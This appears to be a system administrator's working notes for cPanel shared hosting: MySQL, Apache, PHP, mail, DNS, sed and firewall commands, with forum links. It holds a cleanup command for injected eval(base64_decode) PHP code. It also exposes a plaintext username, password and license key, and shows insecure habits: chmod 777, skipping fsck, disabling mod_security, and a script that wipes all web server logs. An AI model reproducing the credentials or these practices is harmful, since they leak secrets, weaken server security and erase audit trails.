mysql -u root -p < /data/backup/dump/mysqldump_utf.txt
mysql -u root -p -- --max_allowed_packet=32M < /data/backup/dump/mysqldump_utf.txt
mysql -u root -p -- --max_allowed_packet=500M < /data/backup/dump/mysqldump_utf.txt
mysql>show variables like 'max_allowed_packet';
mysql> mysqld --max_allowed_packet=16M
Before MySQL 4.0, use this syntax instead:
mysql> mysqld --set-variable=max_allowed_packet=16M
--To set a larger value, start
mysql like this:
-->shell> mysqld --max_allowed_packet=32M
This can be changed in your my.ini file (located in program files, mysql, mysql Server) under the server section, for example:
[mysqld]
max_allowed_packet = 10M
Also, change the my.cnf or my.ini file under the mysqld section and set max_allowed_packet=100M or you could run these commands in a mysql console connected to that same server:
set global net_buffer_length=1000000;
set global max_allowed_packet=1000000000;
MySQL> command prompt, you can type:
show variables like 'max_allowed_packet';
mysqladmin variables | grep max_allowed_packet
To check innodb is enabled or not
mysqladmin var | grep innodb | head -n 2
#mysql
mysql> SHOW ENGINES;
InnoDB | DISABLED | Supports transactions, row-level locking, and foreign keys
mysql> show engines ;
+------------+---------+----------------------------------------------------------------+--------------+------+------------+
| Engine | Support | Comment | Transactions | XA | Savepoints |
+------------+---------+----------------------------------------------------------------+--------------+------+------------+
| InnoDB | YES | Supports transactions, row-level locking, and foreign keys | YES | YES | YES |
| MRG_MYISAM | YES | Collection of identical MyISAM tables | NO | NO | NO |
| BLACKHOLE | YES | /dev/null storage engine (anything you write to it disappears) | NO | NO | NO |
| CSV | YES | CSV storage engine | NO | NO | NO |
| MEMORY | YES | Hash based, stored in memory, useful for temporary tables | NO | NO | NO |
| FEDERATED | NO | Federated MySQL storage engine | NULL | NULL | NULL |
| ARCHIVE | YES | Archive storage engine | NO | NO | NO |
| MyISAM | DEFAULT | Default engine as of MySQL 3.23 with great performance | NO | NO | NO |
+------------+---------+----------------------------------------------------------------+--------------+------+------------+
8 rows in set (0.00 sec)
*********************************************************************************************************************
du -ah
# du -sh *
# du -ah
# df -h
# df -ha
*********************************************************************************************************************
For Loaders:
RLimitMEM 194857600
RLimitCPU 10
RLimitNPROC 25
RLimitCPU 60 60
RLimitMEM 265500800
RLimitMEM 285500800
RLimitMEM 325458048
RLimitCPU 10 10
RLimitNPROC 10 10
Please set following limit in server :
RLimitMEM 104857600 104857600 (100 MB)
RLimitCPU 150 200
RLimitNPROC 25
Fatal error: Out of memory
=================================
edit file /etc/httpd/conf/httpd.conf and comment following lines
#RLimitMEM 813712042
#RLimitCPU 240
*********************************************************************************************************************
Fantastico is not installed at the default location
/usr/local/cpanel/3rdparty/fantastico. Either move the Fantastico directory
from it's current location to /usr/local/cpanel/3rdparty/fantastico OR
enable ioncube loaders in WHM -> Tweak settings.
Internal PHP's "php.ini" file (/usr/local/cpanel/3rdparty/etc/php.ini).
----------------------------------------
zend_extension="/usr/local/cpanel/3rdparty/fantastico/loaders/ioncube_loader_lin_5.2.so"
*********************************************************************************************************************
How to disable webmail interface for single account
How to disable webmail interface for single account?
if you want to disable 'Horde' and 'Neomail' for any user
vi /var/cpanel/users/anyuser
Then add the following lines ::
skiphorde = 1
skipneomail = 1
(Here '1' is for disable and '0' is for enable)
*********************************************************************************************************************
root@trinity [/usr/local/apache/htdocs]# cat serverstats_inc.php
<?php
echo exec(uptime);
?>
*********************************************************************************************************************
Once you execute the command, you can verify the configuration using:
/usr/local/cpanel/bin/rebuild_phpconf –current
*********************************************************************************************************************
linuxgo.net
How to disable suhosin for perticular domain using php.ini or .htaccess
http://www.linuxgo.net/how-to-disable-suhosin-for-perticular-domain-using-php-ini-or-htaccess/
*********************************************************************************************************************
Disk Space Usage showing zero or very low
https://forums.cpanel.net/f5/disk-space-usage-showing-zero-very-low-120105.html
/scripts/fixquotas
Try these commands:
Code:
mkdir /home/username/.cpanel/old
mv /home/username/.cpanel/datastore /home/username/.cpanel/old
Where username represents the cPanel username. If that doesn't resolve the issue, try removing the files from /home/username/.cpanel/caches/dyanmicui/ and /home/username/.cpanel/caches/featurelists/
*********************************************************************************************************************
/sbin/hwclock --systohc (this syncs the time with the bios).
*********************************************************************************************************************
AddDefaultCharset UTF-8
*********************************************************************************************************************
*********************************************************************************************************************
You should check the server to see why the load is so high and take
steps to lower the load. If you want stats to continue to run even with a high load; Edit
/var/cpanel/cpanel.config and change extracpus to a number larger then 0 (run
/usr/local/cpanel/startup afterwards to pickup the changes).
*********************************************************************************************************************
Process:
leechprotect
/usr/bin/perl /usr/local/cpanel/bin/leechprotect
mysqlwrap
cpsrvd-ssl
/usr/local/cpanel/cpsrvd-ssl
cpsrvd-ss 14355 cpanelroundcube txt REG 8,5 9757080 8621753 /usr/local/cpanel/cpsrvd-ssl
cpsrvd-ss 14355 cpanelroundcube 12u IPv4 107732154 TCP veebo.superdnssite.com:nbx-ser->100.205.222.87.dynamic.jazztel.es:mmpft (ESTABLISHED)
*********************************************************************************************************************
Outlook asking pasword again and again.
perl -pi -e 's/(useSendmail.*?= )false/$1true/g' /usr/local/cpanel/base/3rdparty/squirrelmail/config/config.php
*********************************************************************************************************************
root@combo [/usr/local/apache/htdocs]# cat serverstats_inc.php
<?php
echo exec(uptime);
?>
----------------------------------------
root@veebo [/bin]# cat deldom
find /usr/local/apache/domlogs -type f|awk '{print "echo > " $1}' > /home/whwteam/loglist
printf "The list of log files generated. Now emptying the domlog files.
"
chmod 777 /home/whwteam/loglist
/home/whwteam/loglist
rm -rf /home/whwteam/loglist
printf " All domlog files are empty now
"
----------------------------------------
root@veebo [/bin]# df -h
#cat /usr/local/ddos/croncheck
# Checking status of crond here
STATS=$(/etc/init.d/crond status |grep running|wc -l)
if [ $STATS -eq 0 ]
then
/etc/init.d/crond restart
printf '\E[31m'"\033[1m\nCrond service was stopped on server and was restarted when you logged in,
This incident and your computer name is logged and mailed to APS Admin\n\033[0m\n\033[0m"
fi
----------------------------------------
# cat ddos.pl
#!/usr/bin/perl
while(1)
{
@connections = (`netstat -plan | grep :80 | awk '{print \$5}' | cut -d : -f 1 | sort -nk1 | uniq -c | sort -nk1`);
foreach (@connections)
{
$ips = $_;
$ips=~ m/(\d+)\s(\d+\.\d+\.\d+.\d+)/;
$count = $1;
$ip = $2;
if ($count > 15)
{
print "$ip has $count connections dropping\n" ;
$deny = `csf \-d $ip`;
print "$deny";
}
}
sleep(3);
}
----------------------------------------
*********************************************************************************************************************
root@combo [/home/webalat/public_html]# alias
alias attrib='chmod'
alias chdir='cd'
alias copy='cp'
alias cp='cp -i'
alias d='dir'
alias del='rm'
alias deltree='rm -r'
alias dir='/bin/ls $LS_OPTIONS --format=vertical'
alias edit='pico'
alias ff='whereis'
alias l.='ls -d .* --color=tty'
alias ll='ls -l --color=tty'
alias ls='/bin/ls $LS_OPTIONS'
alias mem='top'
alias move='mv'
alias mv='mv -i'
alias pico='pico -w -z'
alias rm='rm -i'
alias search='grep'
alias v='vdir'
alias vdir='/bin/ls $LS_OPTIONS --format=long'
alias which='type -path'
alias wtf='watch -n 1 w -hs'
alias wth='ps -uxa | more'
****************************************************************************************************************To configure your Pure-FTP server:
http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/FtpConfig
Maximum Idle Time (seconds), specify the number of seconds an FTP connection may remain idle before being disconnected by the server.
Specify the maximum number of FTP connections in the Maximum Connections field.
Remember: This limit is applied server-wide and not on a per user basis.
In the Maximum Connections Per IP Address field, specify the maximum number of FTP connections to accept from a single IP address.
Denying FTP Access — /etc/ftpusers
http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/FtpUsersFile
The /etc/ftpusers file on your server contains a list of users who should be denied FTP access.
PerUserLimits 3:20
TLS 1
# Set to 'yes' if you don't want your users to rename files.
#NoRename yes
# Enable virtual quotas. The first number is the max number of files.
# The second number is the max size of megabytes.
# So 1000:10 limits every user to 1000 files and 10 Mb.
#Quota 1000:10
# Allow users to resume and upload files, but *NOT* to delete them.
#KeepAllFiles yes
# Disallow the CHMOD command. Users can't change perms of their files.
#NoChmod yes
# Create an additional log file with transfers logged in a Apache-like format :
# fw.c9x.org - jedi [13/Dec/1975:19:36:39] "GET /ftp/linux.tar.bz2" 200 21809338
# This log file can then be processed by www traffic analyzers.
AltLog xferlog:/usr/local/apache/domlogs/ftpxferlog
# Never overwrite files. When a file whoose name already exist is uploaded,
# it get automatically renamed to file.1, file.2, file.3, ...
AutoRename no
# Prohibit *reading* of files beginning with a dot (.history, .ssh...)
ProhibitDotFilesRead no
# Users can't delete/write files beginning with a dot ('.')
# even if they own them. If TrustedGID is enabled, this group
# will have access to dot-files, though.
ProhibitDotFilesWrite no
# File creation mask. <umask for files>:<umask for dirs> .
# 177:077 if you feel paranoid.
Umask 133:022
# If the system is more loaded than the following value,
# anonymous users aren't allowed to download.
MaxLoad 4
LimitRecursion 2000 8
# Maximum idle time in minutes (default = 15 minutes)
MaxIdleTime 25
# Maximum number of simultaneous users
MaxClientsNumber 50
*****
****************************************************************************************************************Using the archive split method!
/scripts/pkgacct --skiphomedir xmotorsh "" --split compressed --mysql 5.0
/scripts/pkgacct --skiphomedir uploader "" --split compressed --mysql 5.0
*****
*********************************************************************************************************************
Web Template Editor
Cpanel users locateion of web templates
Default Template
/var/cpanel/webtemplates/username/english/default.tmpl
Account Move Template
/var/cpanel/webtemplates/username/english/moving.tmpl
Connection Selection Template
/var/cpanel/webtemplates/username/english/redirect.tmpl
Account Suspended Template
/var/cpanel/webtemplates/username/english/suspended.tmpl
*********************************************************************************************************************
Uplaod images (screenshoot)
http://www.habboduck.com/upload/
****************************************************************************************************************
Run .net applications on linux
http://www.mono-project.com/Main_Page
*****
how to check cpanel version on command line in linux
/usr/local/cpanel/cpanel -V
There are two ways to check cpanel/WHm version.
1)
i) For WHM. Login to WHM, and on top right corner you will find WHM version
ii) For cPanel. Login to cpanel and on the left hand navigation bar you will find "cPanel Version"
2) checking from CLI (command line interface)
root@Server [~]# cat /usr/local/cpanel/version
*********************************************************************************************************************
Cpanel php.ini:
/usr/local/cpanel/3rdparty/etc/php.ini
*********************************************************************************************************************
Change permission of multipe files at a time
chmod 777 -v {products,portfolios,style,products/bulk_images,products/zip,csv,pem,banners,digital_product}
or
chmod 777 -v products portfolios style products/bulk_images products/zip csv pem banners digital_product
ls -ld {products,portfolios,style,products/bulk_images,products/zip,csv,pem,banners,digital_product}
*********************************************************************************************************************
Shortcuts
ls -lh /var/lib/mysql/$(hostname).err
ls -lh /home/[^w]*/*.tar.gz
*********************************************************************************************************************
http://ffmpeg.arrozcru.org/builds/
*********************************************************************************************************************
http://forums.cpanel.net/f5/httpd-status-details-ssh-159645.html
/scripts2/apachestatus
is the exact command that is used by Main >> Server Status >> Apache Status.
/usr/local/apache/bin/apachectl fullstatus
*********************************************************************************************************************
JSON parsed error email accounts client
http://forums.cpanel.net/f5/json-parsed-error-email-accounts-client-211312.html
*********************************************************************************************************************
upgraded cpanel - cannot send/receive emails
http://forums.theplanet.com/lofiversion/index.php/t76947.html
*********************************************************************************************************************
Check multiple variables values
# php -i | egrep 'memory_limit|upload_max_filesize|post_max_size'
*********************************************************************************************************************
locate *core.[1-9]*
*********************************************************************************************************************
WordPress Error: You do not have sufficient permissions to access this page
http://www.tech-evangelist.com/2010/02/06/wordpress-error-sufficient-permissions/
*********************************************************************************************************************
mutt -f imap://localhost/
*********************************************************************************************************************
http://web-sniffer.net/
*********************************************************************************************************************
WordPress Error: You do not have sufficient permissions to access this page while login to wp-admin
http://wordpress.org/support/topic/you-do-not-have-sufficient-permissions-to-access-this-page-29
http://markjaquith.wordpress.com/2006/03/28/wordpress-error-you-do-not-have-sufficient-permissions-to-access-this-page/
http://internetmarketingcoding.com/you-do-not-have-sufficient-permissions-to-access-this-page
Wordpress help:
http://codex.wordpress.org/Database_Description
*********************************************************************************************************************
Sed help
http://www.panix.com/~elflord/unix/sed.html
Awstat button not showing:
replace AllowToUpdateStatsFromBrowser=0 AllowToUpdateStatsFromBrowser=1 -- awstats.brownfolder.com.conf-bak
replace AllowToUpdateStatsFromBrowser=0 AllowToUpdateStatsFromBrowser=1 -- *.conf
replace - a string-replacement utility
*********************************************************************************************************************
/scripts/courierup
/scripts/courierup --froce
/scripts/setupmailserver
/scripts/dovecotup
/scripts/dovecotup --force
/scripts/setupmailserver --force courier
/scripts/eximup --force
/scripts/upcp –force
*********************************************************************************************************************
joomla redirect to www htaccess
http://www.bluehostforum.com/showthread.php?15946-.htaccess-redirects-with-Joomla
http://www.joomlaworld.org/jooomla-installation/redirect-your-websites-domain-to-www-using-htaccess-file.html
http://www.ostraining.com/qa/joomla/topic810/
*********************************************************************************************************************
To sreach only directory:
ll | grep ^d
root@sun [/var/cpanel]# ll cpanelbranding
lrwxrwxrwx 1 cpanel cpanel 31 Dec 2 2010 cpanelbranding -> userhomes/cpanel/cpanelbranding/
root@theta [/home/ipmallor/cpanelbranding/x3]
Location of packages
root@sun [/var/cpanel]# ll packages/
*********************************************************************************************************************
Linux Find If Processor / CPU is 64 bit / 32 bit
– uname
– getconf LONG_BIT / cat /usr/include/asm/cpufeature.h
– cat /proc/cpuinfo
– DMI / dmidecode
getconf
getconf - get configuration values
#getconf LONG_BIT
http://www.opengroup.org/sud/sud1/xcu/getconf.htm
getconf - get configuration values for specified variables
*********************************************************************************************************************
perl -e 'print "\t==sshcontroloutput==\n"';/scripts/unpkgacct yournewc /home/whwteam;echo;perl -e 'print "\t==sshcontroloutput==\n"
To find the files which are created/mofied in home directory within 1 hour
#find -maxdepth 2 -ctime -1 -name "*tar.gz*" -exec ls -lh {} \;
*********************************************************************************************************************
http://docs.cpanel.net/twiki/bin/view/SoftwareDevelopmentKit/TroubleshootingPerl
/scripts/perlmods -l — List installed modules
/scripts/perlmods -s — Perl::Mod to search for installed modules
/scripts/perlmods -u — Perl::Mod to uninstall modules
/scripts/checkperlmodules --force — Force modules to be reinstalled
/scripts/checkperlmodules --full — Ensure additional Perl modules are also installed
/scripts/perlinstaller --force — Perl::Mod to force installation of the module specified
*********************************************************************************************************************
check lfd
cat /var/log/lfd.log | egrep '11:' | grep 28 | less
**************************************************************************************************************
Exim : retry time not reached for any host after a long failure period
The issue is because of the corrupted exim db files.
Goto /var/spool/exim/db and delete files: retry , retry.lockfile , wait-remote_smtp, wait-remote_smtp.lockfile
cd /var/spool/exim/db
mv -fv retry bak-retry
mv -fv retry.lockfile bak-retry.lockfile
mv -fv wait-remote_smtp bak-wait-remote_smtp
mv -fv wait-remote_smtp.lockfile bak-wait-remote_smtp.lockfile
/etc/init.d/exim restart
*******
*********************************************************************************************************************
Return path is:
Return-Path: <weboinfo@pro.dnsnetservice.com>
return path mention by mail function of php is overwriten by server configurations.
postmaster@web2o.info
return_path_remove = false
*********************************************************************************************************************
/usr/local/bin/php: /opt/xml2/lib/libxml2.so.2: no version information available (required by /opt/xslt/lib/libxslt.so.1)
PHPlist version 2.10.13 (c) 2000-2011 Tincan Ltd, http://www.phplist.com
it appears when the cron job runs a php file
http://www.litespeedtech.com/support/forum/showthread.php?t=3703&page=2
http://www.eyrie.org/~eagle/notes/rpath.html
http://www.litespeedtech.com/support/forum/showthread.php?t=3703&page=2
Digging a little bit deeper on this, came cross http://www.eyrie.org/~eagle/notes/rpath.html
I think something wrong with RPATH built into the binary, it can be checked with
Code:
readelf -d lsphp5 | grep RPATH
If somehow /usr/lib(64) got into RPATH before /opt/xml/lib, it could cause wrong library loaded. there is a tool called "patchelf" which can update RPATH built into ELF binary.
http://nixos.org/patchelf.html
The root cause might be the GNU build tool chain, autoconf, libtool, etc.
Reply With Quote
*********************************************************************************************************************
PHP Cross Reference of WordPress 2.7
http://xref.yoast.com/2.7/nav.html?_functions/index.html
function check:
check php Variables - Functions - Classes - Constants
http://phpcrossref.com/wordpress/_functions/sanitize_option.html
*********************************************************************************************************************
Account Suspended
This Account Has Been Suspended
.haccess
RedirectMatch .* /cgi-sys/suspendedpage.cgi
RedirectMatch .* /cgi-sys/defaultwebpage.cgi
*********************************************************************************************************************
Sorry, a mysql user with the name x already exists.
mysql
drop user 'xxxxx'@'localhost';
drop user 'gelinlik'@'localhost';
/scripts/updateuserdatacache
/var/cpanel/databases/users.db
grep -Rl USERNAME /var/cpanel/databases/
grep -Rl gelinlik /var/cpanel/databases/
/var/cpanel/databases/dbindex.db
/var/cpanel/databases/users.db
/var/cpanel/databases/dbindex.db.cache
/var/cpanel/databases/users.db.cache
*********************************************************************************************************************
locale
/var/cpanel/locale
/var/cpanel/locale/themes/x3
/var/cpanel/lang.cache
/var/cpanel/lang.cache/theme/x3
/usr/local/cpanel/locale
`
/usr/local/cpanel/lang
Creating Language Files
http://docs.cpanel.net/twiki/bin/view/CpanelLocale/DeprecatedLang
Main >> Locales >> Locale XML Download
root@alpha [/var/cpanel/locale]# ll it.cdb
Copy to /var/cpanel/locale/themes/x3 as well
root@alpha [/usr/local/cpanel/locale]# cp -v it.yaml
Swedish x3 language files (Swedish (svenska))
http://forums.cpanel.net/f8/swedish-x3-language-files-65885.html
Or available on
http://power.superdnssite.com:2086/scripts9/view_available_locales
http://real.superdnssite.com:2086/scripts9/view_available_locales
http://duke.superdnssite.com:2086/scripts9/view_available_locales
http://matrix.superdomainzone.com:2086/scripts9/view_available_locales?post_login=73359571057104
http://rosso.superdomainzone.com:2086/scripts9/view_available_locales?post_login=85824008760706
*********************************************************************************************************************
How to make root domain .htaccess not affect to addon domain
Some time the root domain .htaccess file rule affect to addon domains. So you can not access your addon domain properly. If you want to disable this rule for the addon domain then you need to add the following rule in the root domain .htaccess file.
RewriteCond %{HTTP_HOST} ^(www\.)?addon_domain\.com
Rewriterule .* - [L]
for example addon domain is indianwebportal.com then rule is
RewriteCond %{HTTP_HOST} ^(www\.)?indianwebportal\.com
Rewriterule .* - [L]
*********************************************************************************************************************
netstat -nla | grep :21
netstat -nla | grep :21 | sort -k 4
netstat -nla | grep :21 | sort -k 4 | awk '{print $5}'
netstat -nla | grep :21 | sort -k 4 | awk '{print $5}'| cut -d : -f 1 | uniq -c
netstat -nla | grep :21 | grep -v :80 | sort -k 4 | sort -k 4 | awk '{print $5}'| cut -d : -f 1 | uniq -c
*********************************************************************************************************************
Softaculous and Fantastico
If you need, you could use my username: Quax and Password: pcc013
My license is as follow: 50329-68635-29983-10042-44765 Premium Never Active 67.23.243.232
*********************************************************************************************************************
Uninstall softaculous
You can delete these folders/files:
/usr/local/cpanel/whostmgr/docroot/cgi/softaculous
/var/softaculous
/etc/cron.d/softaculous
Then run this command:
/usr/local/cpanel/bin/unregister_cpanelplugin /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/softaculous.cpanelplugin
Update
/usr/local/cpanel/3rdparty/bin/php /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/cron.php
*********************************************************************************************************************
ini_set('memory_limit', '20000M');
memory_limit = 64M ; Maximum amount of memory a script may consume (64MB)
php_value memory_limit 64M
define('WP_MEMORY_LIMIT', '64M');
1. If you have access to your PHP.ini file, change the line in PHP.ini
If your line shows 32M try 64M:
memory_limit = 64M ; Maximum amount of memory a script may consume (64MB)
2. If you don't have access to PHP.ini try adding this to an .htaccess file:
php_value memory_limit 64M
3. Try adding this line to your wp-config.php file:
Increasing memory allocated to PHP
define('WP_MEMORY_LIMIT', '64M');
*********************************************************************************************************************
URL file-access is disabled in the server configuration
allow_url_fopen = On
allow_url_include = On
file_uploads = On
upload_max_filesize = 20M
post_max_size = 20M
max_execution_time = 60
max_input_time = 90
memory_limit = 128M
safe_mode = Off
display_errors = Off
extension=json.so
////////
error_reporting = E_ALL & ~E_NOTICE
display_startup_errors = Off
log_errors = On
ignore_repeated_errors = Off
html_errors = Off
error_log = error_log
php_flag display_errors "0"
php_flag html_errors "0"
php_flag display_startup_errors "0"
php_flag log_errors "1"
php_flag allow_url_fopen "0"
GPG
gpg -c file #Encrypt file
gpg file.gpg #Decrypt file
Get Information About Your BIOS / Server Hardware From a Shell Without Opening Chassis ( BIOS Decoder )
http://www.cyberciti.biz/tips/querying-dumping-bios-from-linux-command-prompt.html
# dmidecode
Download Multiple Files / URLs Using wget -i
First, store all the download files or URLs in a text file as:
$ cat > download-file-list.txt
http://173.236.60.250/cpmove-concreta.tar.gz
URL1
URL2
$ wget -i download-file-list.txt
How to disable FTP access to particular user
Add username on
/etc/ftpusers
To check the files/folders having set Imutable Attrubite (i or I) Imutable Attrubite only
lsattr -R | awk '{print $1 $2}' | grep -i ^[-]*I
Or
chattr -i -R *
lsattr -d .
grep "FAILED LOGIN" /usr/local/cpanel/logs/login_log
*********************************************************************************************************************
# Command to list all services which are started at boot time in run level # 3:
chkconfig --list | grep '3:on'
Block Images from loading on website
RewriteRule .*\.(jpg|jpeg|gif|png|bmp)$ - [F,NC]
==>> cPanel update log file upcp
/var/cpanel/updatelogs/update.*.log
rebuild the system caches
/usr/local/cpanel/bin/userdata_update
/usr/local/cpanel/scripts/updateuserdomains
cPanel rebuilds httpd.conf from userdata files and its overwritten on every cPanel update, on every account creation, subdomain addition, or any such activity related to apache and any manual changes you make will be overwritten. To make permanent changes to a subdomain’s root folder :
Autorespond
ls -ld /home/*/.autorespond/
ll /home/*/.autorespond/
vi /usr/local/apache/conf/modsec2.conf
vi /usr/local/apache/conf/modsec2.user.conf
SecRule SERVER_NAME "jazeeranews.net" phase:1,nolog,allow,ctl:ruleEngine=off
"/usr/local/apache/conf/modsec2.user.conf"
vi /usr/local/apache/conf/modsec2.conf
"/usr/local/apache/conf/modsec2.user.conf"
cd /usr/local/apache/conf
vi modsec2.conf
#SecRule SERVER_NAME "vidpic.net"
SecRule REQUEST_URI "emporiogroup.com"
SecRule REQUEST_URI "/s.php"
SecRule REQUEST_URI "rsqxi.pl"
cd /usr/local/apache/conf/ ; cp -pv modsec2.conf modsec2.conf-bak ; wget -N http://serverIp/filename
-N : will replace the existant file
mysql -N mysql -e "SELECT table_schema, table_name FROM INFORMATION_SCHEMA.TABLES WHERE engine = 'innodb';" | awk '{print $1}' | sort | uniq
#ssh -l root -p 1891 64.37.60.130
grep -i "cookieipvalidation\|referrer\|skiphttpauth\|xsrftokens" /var/cpanel/cpanel.config
grep -v [^:]+: \(|[=]+\|Setting filetype\)
grep -v ^[-\\\|\/]
================================================
dig +trace inds.co
dig +trace +short inds.co.db
dig -h | more
host -t mx gmail.com
nslookup -query=mx gmail.com
mail -s "Will this message go through?" name@mydomain.com
dig @localhost MX kanatasmokehouse.com
dig @184.154.49.162 netonepay.com +short
dig @localhost MX igrane.ma +short
dig disturbindacape.co.za @ns1.gpdnsinfo.com
dig skynet.be mx
dig -x IP (209.267.166.166) "Check reverse lookup zone"
http://dns-record-viewer.online-domain-tools.com/
http://whois.arin.net/ui
whois 173.236.61.163@whois.arin.net
dig @ns1.noomacyberspace.com pampergirlz.co.za
/usr/sbin/exim -v 'carlo@kanatasmokehouse.com'
grep -c dbhost * | grep 1$
tracert -vpn-instance datos -a 192.10.20.1 67.23.243.231
#resolveip ip
===>>>> Please make server up asap and without fsck
Your server is back online with out fsck. I don't recommend doing this as it can result in damaged data down the line.
In order to get it booted without fsck, fstab was adjusted. Please make sure that gets changed from 0 0 to 1 2
Thank you!
http://www.unix.com/shell-programming-scripting/92490-replace-string-file-w-variable-value.html
cd ~whwteam/
cp -fpv /var/cpanel/cpanel.config /var/cpanel/cpanel.config_bak.org1 ;
sed 's/php_max_execution_time.*/php_max_execution_time=90/' /var/cpanel/cpanel.config > cpane_config ;
sed 's/php_post_max_size.*/php_post_max_size=55/' cpane_config > cpane_config_1 ;
sed 's/php_upload_max_filesize.*/php_upload_max_filesize=50/' cpane_config_1 > cpane_config_2 ;
yes | cp -fv cpane_config_2 /var/cpanel/cpanel.config ;
diff /var/cpanel/cpanel.config_bak.org1 /var/cpanel/cpanel.config ;
rm -fv cpane_config* ;
find /home/*/public_html/php.ini -print -type f -exec sed -i 's/memory_limit.*/memory_limit=64M/g' {} \;
http://www.unix.com/shell-programming-scripting/92490-replace-string-file-w-variable-value.html
To revert Changes:
cp -pv /var/cpanel/cpanel.config_bak.org1 /var/cpanel/cpanel.config
================================================
To enable DMA for a hard drive: hdparm -d1 /dev/hda
To disable DMA for a hard drive: hdparm -d0 /dev/hda
To measure transfer rate of a hard drive: hdparm -Tt /dev/hda
To see what options are enabled for a hard drive: hdparm /dev/hda
To see more info on your drive than you wanted to know: (this will show which UDMA modes are supported/enabled) hdparm -i /dev/hda
How To Extract a Single File / Directory from Tarball Archive
Extract file to /tmp directory
tar -zxvf mytar.ball.tar.gz -C /tmp filename
tar -zxvf mytar.ball.tar.gz -C /tmp dir-name
OR
tar xvf /dev/st0 directory-name
tar xvf mytar.ball.tar filename
--------------------------------
Reboot server
shutdown -r now
Reboot the server without FSCK
shutdown -rf now
Note: the lower case "f" indicates that the server will skip fsck. An uppercase "F" would do the opposite and force the server to run a fsck.
Dump just the table structure to a file in MySQL
backup a table structure but NOT his data in MySQL
mysqldump --no-data DBNAME_roundcube > roundcube.sql
or use -d option
target specific tables, enter them after the database name.
mysqldump --no-data -h localhost -u root -ppassword mydatabase table1 table2 > mydatabase_backup.sql
replace a line start or having work [incompleted word]with another word
sed -e 's/php_max_execution_time.*/php_max_execution_time=60/' test
sed -e 's/{line that you want to replace}/{line with which you want to replace}/g'
Replace second Line of a file with another line. [Will not changes]
sed '2 s/.*/new_text_here/' filename
replace word
perl -pie 's/old-word/new-word/g' input.file > new.output.file
delete 1st and 5th line
sed '1d;5d' <file name>
sed -e 1d -e 5d <file name>
delete line 1st to 5th
sed 1,5d <file name>
delete from line 37 to last line
sed '37,$d' <file name>
Remove the line containing the string "awk":
sed '/awk/d' filename.txt
Delete first and last line of a file
sed "1d;$d" < inputfile.txt > outputfile.txt
http://www.commonitman.com/search/label/Linux
Unix - Delete last line of file
sed '$d' source_file.dat > destination_file.dat
Remove * from cpmove-yeshiba.tar.gz*
ls -1 cpmove-* | sed 's/\*/ /g'
find files where ONLY the owner has execute permissions we are looking for permissions 700 or 300 or 100 .
find . -type f \( -perm -000100 -a ! -perm -000010 -a ! -perm -000001 \) -print
root@server[#] vi hackreplace.sh
hacked='eval(base64_decode("DQplcnJvcl9oKTsNCn0KfQp9DQp9DQp9"));'
find -name \*.php | xargs replace $hacked "" --
#sh hackreplace.sh
http://www.bookofzeus.com/articles/send-an-email-in-linux-from-the-shell-with-attachment/
curl -s consortia.in | grep title
remove it from httpd.conf
/scripts/killvhost roommatein.com
/scripts/check_cpanel_rpms --fix
cat /etc/fstab
nano /etc/fstab
df -h
mount -o remount,rw /backup
find /home/*/public_html/php.ini -print -type f -exec sed -i 's/128/64/g' {} \;
ssh -2C 67.23.248.62 -p3281 -lroot -v
ssh 67.23.248.62 -p3281 -lwhwteam -v
curl -A “Mozilla/4.0” -iL [URL]
ls -lt | sort -k 7 -n
find -cmin -1 -type f
find -cmin -1 -type f -or -type d
/scripts/addpop username@domaina.com
echo "Test Email" | mail -v -s "This is a Test Email" testmail24x7@yahoo.com
exim -d all+filter -f paul.valle@datadisk.co.uk complaints@datadisk.co.uk
sender address supplies the senders address overriding the address computed from the users login name
/usr/local/cpanel/bin/sendmail_cpanel -i -t -fventas@orquestasbogota.com
Send email from shell
# exim -f angrycustomer@datadisk.co.uk compliants@datadisk.co.uk
Override the username
The gecos field is normally used to supply the username, but this can be overriden
# exim -F 'The Boss' paul.valle@datadisk.co.uk
Verify an address
# exim -bv xxxxxxxxxx@odkas.com
exim -bvs
Testing routing
# exim -bt xxxxxxxxxx@odkas.com
To trace path:
# exim -d -bt user@domain.com
/scripts/mailperm --verbose digitalk
ls -lst cpmove-* | grep "Sep 12" | awk {'print $10'} |mv -v $(xargs) mytes/
mysql -N mysql -e "use cphulkd; delete from brutes; delete from logins;"
file * | grep executable | awk {'print $1'}
find -type f -name maildirsize | xargs rm -fv
last | head
ls -d */ |tr -d /
If you want to block FTP access for a Specific IP then run the below command :
root@server[#] iptables -A INPUT -p tcp -s 67.23.243.231 --dport 21 -j DROP
iptables -A INPUT -p tcp -s 173.236.56.106 --dport 21 -j DROP
iptables -A INPUT -p tcp -s 173.236.56.106 --dport 110 -j DROP
iptables -A INPUT -p tcp -s 173.236.56.106 --dport 25 -j DROP
iptables -A INPUT -s 201.230.102.86 -j DROP
iptables -A INPUT -s 190.233.225.71 -j DROP
iptables -I INPUT -p tcp -s 187.208.193.121 -j ACCEPT
If you want to block FTP access for a Specific IP then follow the below steps :
root@server[#] vi /etc/csf/csf.deny
and add the line :
tcp:in:d=21:s=10.10.10.10
save and quit
And then restart CSF firewall using the below command :
root@server[#] csf -r
Command to view the previous load in the server.
grep average /var/log/dcpumon/toplog.*
To know the Server Type (Microsoft-IIS Or Apache):
http://uptime.netcraft.com/
http://www.quora.com/How-can-I-determine-which-web-server-a-particular-website-is-using-Apache-IIS-Nginx-etc
curl -I mundoseven.com
curl -I <domainname.com>
Screen Command
http://linuxhelps.com/2009/03/screen-command/
*********************************************************************************************************************
Problem in password protection using .htaccess
How to protect CRE Loaded admin area ?
or
Problem when page requires authentication
or
How to set password protection for sub directory without affecting to other .htaccess rewrite rules
http://www.indianwebportal.com/problem-password-protection-htaccess
Add this line to the beginning of the .htaccess file in your root .htaccess means “/home/username/publi_html/.htaccess ” file.
ErrorDocument 401 “Unauthorized”
How to make root domain .htaccess not affect to addon domain
http://www.indianwebportal.com/root-domain-htaccess-affect-addon-domain
Remove extensions from url
http://www.indianwebportal.com/remove-extensions-url
Cpanel Introduction
http://www.indianwebportal.com/cpanel-introduction
*********************************************************************************************************************
how to print script output to screen and file
http://linux.byexamples.com/archives/349/how-to-redirect-output-to-a-file-as-well-as-display-it-out/
LoadAll.sh 2>&1 | tee -a Load.log
*********************************************************************************************************************
autorespond path
/home/aeuropa/.autorespond
root@solo ll /home/aeuropa/.autorespond
total 20
